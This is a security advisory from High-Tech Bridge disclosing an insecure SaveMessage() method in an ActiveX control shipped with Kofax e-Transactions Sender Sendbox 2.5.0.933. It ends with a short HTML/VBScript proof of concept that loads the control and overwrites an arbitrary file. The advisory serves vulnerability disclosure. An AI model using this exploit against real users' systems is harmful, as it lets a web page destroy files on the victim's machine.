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HTB23016: Kofax e-Transactions Sender Sendbox ActiveX Control Insecure Method

Vulnerability ID: HTB23016
Reference: 
http://www.htbridge.ch/advisory/kofax_e_transactions_sender_sendbox_activex_control_savemessage_insecure_method.html
Product: Kofax e-Transactions Sender Sendbox
Vendor: Kofax, Inc ( http://www.kofax.com/ ) 
Vulnerable Version: 2.5.0.933 and probably prior
Tested on: 2.5.0.933
Vendor Notification: 01 June 2011 
Vulnerability Type: ActiveX Control Insecure Method
Risk level: Medium 
Credit: High-Tech Bridge SA Security Research Lab ( 
http://www.htbridge.ch/advisory/ ) 

Vulnerability Details:
High-Tech Bridge SA Security Research Lab has discovered a vulnerability in 
Kofax e-Transactions Sender Sendbox, which can be exploited to overwrite 
arbitrary files.

The vulnerability is caused due to the LEADeMail.LEADSmtp.20 (LTCML14n.dll 
(14.0.0.34)) ActiveX control including the insecure "SaveMessage()" method. 
This can be exploited to overwrite with junk data arbitrary files in the 
context of the currently logged-on user.

The following PoC code is available:


<html>
<object classid='clsid:0014085F-B1BA-11CE-ABC6-F5B2E79D9E3F' id='target' 
/></object>
<input language=VBScript onclick=Boom() type=button value="Exploit">
<script language = 'vbscript'>

Sub Boom()
  arg1="FilePath\Filename_to_overwrite"
  arg2=True
  target.SaveMessage arg1 ,arg2
End Sub

</script>
</html>